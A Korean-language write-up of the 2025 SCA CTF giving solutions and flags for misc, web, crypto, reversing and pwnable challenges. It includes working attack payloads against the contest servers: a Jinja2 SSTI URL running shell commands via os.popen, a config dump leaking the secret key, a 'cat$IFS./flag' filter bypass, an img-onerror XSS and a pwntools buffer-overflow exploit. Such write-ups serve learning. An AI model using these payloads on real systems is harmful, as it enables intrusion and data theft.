2025 SCA CTF Write-Up
2025 SCA CTF Write-Up
참가자가 별로 없어서 1등을 먹고 있다가 포너블 장인 혜성이가 1등을 차지했다... 나도 포너블 잘하고싶다;;
어쨋든 많은 걸 알아갈 수 있었던 대회이다.
Miscellaneous
Welcome
세명컴고 보안과 인스타그램에서 조각된 3개의 플래그를 합치면 된다
플래그 : SCA{Welcome_to_SCA_CTF}
Your Homework
사진과 같이 플래그가 하얀색으로 되어 있었다
다크 모드 쓰는사람은... 그냥 구했을 것이다 ㅋㅋ
플래그 : SCA{ctrl_a_is_magic}
Calculate!
20문제를 풀어야한다.
자동화 스크립트를 짜면 더욱 편리하겠지만 귀찮았기 때문에 손으로 풀었다
무한소수는 정수로 입력해야 하는 것을 늦게 알아서 풀이하는데 늦었다..
플래그 : SCA{WoW_you_are_really_good_at_calculating!}
Fibo or Fibo-not
이번에는 자동화 스크립트를 짜야할 것 같다... 타임아웃이 발생한다
from pwn import *
import re
host = "sca-ctf.kr"
port = 9005
conn = remote(host, port)
def generate_fibonacci(limit=10**30):
fib_set = set()
a, b = 0, 1
while a <= limit:
fib_set.add(a)
a, b = b, a + b
return fib_set
fib_numbers = generate_fibonacci()
pattern = re.compile(r'd+')
while True:
try:
data = conn.recvline().decode().strip()
print(f"Received: {data}")
if "STAGE" in data:
continue
numbers = pattern.findall(data)
for num in numbers:
if int(num) in fib_numbers:
print(f"Sending: {num}")
conn.sendline(num)
break
except EOFError:
break
flag = conn.recvline()
print(f"Flag: {flag}")
conn.close()
플래그 : SCA{yes!_th1s_1s_4_f1b0n4cc1!!!}
Music Code
binwalk로 다 뜯어봤지만 아무것도 없다.
계이름을 알파벳으로 하나하나 입력해보면 BADGE가 나온다.
플래그는 대문자라고 하니
플래그 : SCA{BADGE}
Fxxking Brainnnnnnnn
Brainfuck은 매우 단순한 명령어 집합을 사용하는 프로그래밍 언어이다.
brainfuck 이 두번 인코딩되어 있다.
플래그 : SCA{I_kn0w_Brainfxxk}
Web
문제 참 loose하네
PHP의 느슨한 비교(loose comparison) 특성을 이용하여 0e로 시작하는 특정한 문자열을 찾아서 제출해야 하는 문제임
PHP에서는 "0e1234" == "0e5678"가 true가 될 수 있다
0e 뒤에 숫자가 있으면 PHP가 이를 과학적 표기법으로 해석하여 0으로 취급하기 때문이다
플래그 : SCA{I_d0n't_w4nt_t0_loose}
너의이름은
{{7*7}}로 SSTI 가 발생한다는 것을 알았다.
popen으로 커맨드를 실행시킬 수 있다.
flag가 필터링 되어 있어서 글로브 패턴으로 우회가 가능하다
http://sca-ctf.kr:9145/?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20fla*%27).read()}}
플래그 : SCA{5f93b0a49870a4145eb90a2fb69cc33cf2af119d71796b5dfd16cb8d8d9e7afc}
Easy Admin Path
아이디와 비밀번호가 base64로 인코딩되어 하드코딩되어있다.
/admin 에 접속후 base64 디코딩된 값을 넣어주면 플래그가 나온다
플래그 : SCA{Th1s_is_SCA_ph1nk_Dolphin}
Lemon
HINT에서 콘솔을 쓰라고 되어있다.
소스코드를 보니 레몬을 alert창을 띄우면 플래그를 콘솔에 띄어주는거 같다.
img 태그로 온에러 함수를 사용해 경고창을 띄우면 플래그를준다
플래그 : SCA{May_Th2e_L2em0n_be_With_Y0U}
뇌가 아픈 NoGaDa
소스코드를 보고 /num_hell에 들어가보았다. SECRET_NUM을 계산하고 키 값을 맞추면 된다.
처음에는 키값을 브루트포싱하다가, 이게 맞나 싶어서 혹시나 해서 F12를 눌러봤는데... 키가 4425라고 주석으로 되어있었다... ㅋㅋㅋ
쉽게 파이썬 코드를 짜서 요청을 보내면 된다
import requests
url = "http://sca-ctf.kr:9150/get-flag"
SECRET_NUM = 7809330
VALUE = SECRET_NUM + 1234
guess_value = VALUE ^ 4425
response = requests.get(url, params={"value": guess_value})
if "sca" in response.text.lower():
print(f"[+] FLAG FOUND! THE_4425 = {4425}, Response: {response.text}")
플래그 : SCA{H0w_L@ng_Did_iT_Tak3e_t0_CalcuLat2e?}
Where2L0gIN
로그인을 하면 Flag를 준단다.
아무 값이나 넣어서 로그인 요청을 했다.
출제자가 주석으로 뭘 숨기는 것을 좋아하기 때문에 혹시나 F12를 눌러보았다.
F12에 쿠키값을 확인해봤냐고 되어있다.
쿠키에 "Q$s073}NN073yUX=GV%bxUq<cT{L073b3c6" 값이 있었고, 힌트에 Base85라고 했으므로 디코딩을 해보았다.
:::info
온라인 디코더를 쓰다가 시간만 날렸다. 온라인 디코더가 약간 이상하다. Base64 파이썬 모듈을 사용해 디코딩하면 된다.
:::
import base64
encoded_data = b"Q$s073}NN073yUX=GV%bxUq<cT{L073b3c6"
decoded_data = base64.b85decode(encoded_data)
print(decoded_data)
플래그 : SCA{HowDidYouKnowThis?}
Basic SSTI
소스코드에 플래그가 하드코딩 되어있다 ㅋㅋㅋㅋㅋ
아마 출제오류인듯 하다
app.secret_key = 'SCA{0c3406863a4652d891868a7b920f67c433bb2b6ce06ce708d8fe903c03966526}' # 문제 코드 보여줄때는 이거 알아서 다른거로 바꾸셈
CTF하다가 처음으로 웃었다 ㅎㅎ
문제의도는 SSTI 공격으로 name 값에 {{config}}
을 넣어 SECRET_KEY를 빼내는 의도이다.
안녕하세요, <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': 'SCA{0c3406863a4652d891868a7b920f67c433bb2b6ce06ce708d8fe903c03966526}', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>님!
SECRET_KEY에서 플래그를 얻을 수 있다.
플래그 : SCA{0c3406863a4652d891868a7b920f67c433bb2b6ce06ce708d8fe903c03966526}
Crypto
Even
Base64 인코딩과 Xor 연산을 하는 코드이다.
간단하게 역연산 짜주면 된다
두번째 xor 키가 제공이 되지 않았기 때문에 키를 브루트포싱하면 된다
def xor_decrypt(data, key):
return bytes([b ^ key for b in data])
possible_keys = range(256)
max_rounds = 10
for rounds in range(1, max_rounds + 1):
for key in possible_keys:
try:
data = encrypted_data
for i in range(rounds):
# Reverse second XOR
data = xor_decrypt(data, key)
data = base64.b64decode(data)
data = xor_decrypt(data, 8)
data = base64.b64decode(data)
decoded_text = data.decode(errors="ignore")
if "SCA{" in decoded_text:
flag = decoded_text
break
except Exception:
continue
플래그 : SCA{3nc0d1n9_ls_IV0T_3ven!!}
MOSU
xor을 하고 hex로 변환하는 간단한 코드이다
쉽게 역연산 코드를 짜서 구할수있다
def decrypt(encrypted_hex):
encrypted_bytes = bytes.fromhex(encrypted_hex)
length = len(encrypted_bytes)
key = [(i + length) % 256 for i in range(length)]
decrypted_bytes = bytes([encrypted_bytes[i] ^ key[i] for i in range(length)])
return decrypted_bytes.decode('utf-8')
encrypted_text = "455459622e756f6870784a40477c155679425e4c4456"
decrypted_text = decrypt(encrypted_text)
플래그 : SCA{4nsungjae_1s_even}
해커의 메시지
xor로 암호화된 메시지를 풀면 된다...
풀이를 까먹고 작성안해서.. 죄송합니다 ㅜ
Reversing
Calculator
플래그가 함수에 저장되어있다.
플래그 : SCA{1337_m4th_m4st3r}
Game Score Hacking
플래그가 Calculator 문제와 똑같이 함수에 저장되어있다.
플래그 : SCA{g4m3_h4ck3r_pr0}
Loooong Sleep
chall 파일을 아이다로 열어보자
unk_2010에서 25바이트의 데이터를 추출하여 dest 버퍼에 저장한다
sub_1209(dest, 25LL);를 통해 XOR 연산으로 변형한다
초기 키 값은 0xDEADBEEF이며, 매 바이트마다 특정 패턴(<< 7 | >> 25 후 + 305419896)으로 변경된다
이 연산을 역순으로 적용하여 원래 문자열을 복원할수있다
# 암호화된 데이터 (unk_2010에서 가져온 25 바이트)
ciphertext = [
0xBC, 0x24, 0x6D, 0xBD, 0xE3, 0xCF, 0x55, 0x42, 0x45, 0x67,
0x0B, 0xEB, 0x47, 0xBF, 0x9F, 0x8B, 0x48, 0x3E, 0x10, 0x77,
0x1E, 0xF1, 0x21, 0x08, 0x41
]
# sub_1209에서 사용된 XOR 키 변환 로직 (역방향 적용)
def decrypt_xor(ciphertext):
v3 = -559038737 & 0xFFFFFFFF
plaintext = []
for i in range(len(ciphertext)):
decrypted_byte = ciphertext[i] ^ (v3 & 0xFF)
plaintext.append(decrypted_byte)
v3 = ((v3 << 7) | (v3 >> 25)) & 0xFFFFFFFF
v3 = (v3 + 305419896) & 0xFFFFFFFF
return bytes(plaintext)
decrypted_text = decrypt_xor(ciphertext)
print(decrypted_text)
플래그 : SCA{d0n't_w4k3_m3_up...!}
마법의 포켓몬 도감
get_pokemon 함수에서 a1 == 25일때 플래그를 반환한다
플래그 : SCA{p1k4chu_master}
Pwnable
Basic Buffer Overflow
버퍼를 넘치게 하면 쉘이 따진다.
플래그 : SCA{Buff3r_0verfl0w_Succ3ss!}
what is this device
버퍼를 넘치게 하고 win 함수 주소로 넘기면 쉘이 따진다.
from pwn import *
win_function_address = p32(0x000104d1)
buffer_size = 64
payload = b"A" * buffer_size
payload += win_function_address
p = remote('sca-ctf.kr', 9030)
p.sendline(payload)
p.interactive()
플래그 : SCA{befe08e19e631484113c5f453d666d396e263062be54b4dff2dbc83aa05ff834}
Command
공백을 포함한 명령어를 입력할 수 없어서 우회해야 한다.
cat$IFS./flag
플래그 : SCA{command_injection}
Get Shell
아이다로 열어보니 31337을 입력하면 쉘이 열린다.
플래그 : SCA{Good!}
rand
rand() 함수의 예측 가능성을 이용한 PRNG (Pseudo-Random Number Generator) Prediction 공격을 하면 된다
srand(0x7A69)를 통해 난수를 초기화하고 있다
시드값(0x7A69 = 31337 in decimal)이 고정되어 있어, rand()의 결과도 항상 동일하게 유지된다
동일한 시드값(31337)으로 rand()를 실행하면 동일한 값이 나오므로, 이를 미리 계산하여 제출하면 된다.
from pwn import *
import ctypes
libc = ctypes.CDLL("libc.so.6")
libc.srand(31337) # 0x7A69 == 31337
target_number = libc.rand() & 0xFFFFFFFF
host = "sca-ctf.kr"
port = 9030
io = remote(host, port)
io.recvuntil(b"input your number : ")
io.sendline(str(target_number))
io.interactive()
플래그 : SCA{do_you_know_rand???????}